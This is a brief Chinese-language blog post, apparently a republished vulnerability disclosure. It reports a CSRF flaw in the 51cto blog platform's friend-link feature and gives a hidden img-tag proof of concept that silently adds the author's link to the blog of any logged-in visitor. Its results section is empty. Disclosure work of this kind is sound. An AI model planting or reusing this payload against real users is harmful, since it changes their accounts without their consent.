51cto博客 存在csrf漏洞

 添加友情链接没验证referer token 

 利用条件:

    已登录过51cto

 直接在浏览器访问如下POC

  poc:

     

<img src="http://x007.blog.51cto.com//mod/edit_flink.php?type=addflink&uid=6330498&flink=http://x007.blog.51cto.com/" style="display:none;">

当别人访问之后可添加我的友情到他人博客。

结果:

转载于:https://blog.51cto.com/0x007/1546385